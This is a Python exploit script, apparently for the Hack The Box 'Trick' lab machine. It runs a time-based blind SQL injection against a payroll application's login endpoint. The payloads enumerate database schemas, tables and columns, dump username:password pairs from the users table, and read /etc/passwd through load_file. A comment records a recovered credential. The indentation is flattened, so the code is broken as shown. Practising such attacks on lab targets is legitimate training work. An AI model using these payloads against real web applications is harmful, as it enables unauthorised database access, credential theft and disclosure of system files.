#!/usr/bin/python
import requests
import sys
import signal
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!]Saliendo....\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://preprod-payroll.trick.htb/ajax.php?action=login"
characters = string.printable
def makeSQLI():
username = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
p2 = log.progress("Datos extraidos")
#probar desdse el ascii 33 hasta el 126
for position in range(1, 200):
for character in range(33,126):
#payload = "username=' or if(ascii(substr(( SELECT group_concat(DATABASE()) ) ,%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#payload = "username=' or if(ascii(substr(( select group_concat(schema_name) from information_schema.schemata ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#payload ="username=' or if(ascii(substr(( select group_concat(table_name) from information_schema.tables where table_schema='payroll_db' ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#position,employee,department,payroll_items,attendance,emplo....
#payload ="username=' or if(ascii(substr(( select group_concat(table_name) from information_schema.tables where table_schema='payroll_db' and table_name like '%%SER%%' ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#users
#payload = "username=' or if(ascii(substr(( select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name like '%%MPLO%%' ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#id,employee_no,firstname,middlename,lastname,department_id,position_id,salaray,
#payload = "username=' or if(ascii(substr(( select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name like '%%SER%%' ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#id,doctor_id,name,address,contact,username,password
payload = "username=' or if(ascii(substr(( select group_concat(username,0x3a,password) from users ),%d,1))=%d,sleep(5),1)-- &password=pepe" % (position, character)
#Enemigosss:SuperGucciRainbowCake
payload = "username=' or ascii(substr(( SELECT group_concat(load_file('/etc/passwd') )) ,%d,1))=%d -- &password=pepe" % (position, character)
header = {"Content-Type": "application/x-www-form-urlencoded"}
p1.status(payload)
startTime = time.time()
r = requests.post(main_url, headers = header ,data=payload, timeout=7)
elapse = time.time() - startTime
if (elapse >= 4.0):
username += chr(character)
p2.status(username)
break
if __name__ == '__main__':
makeSQLI()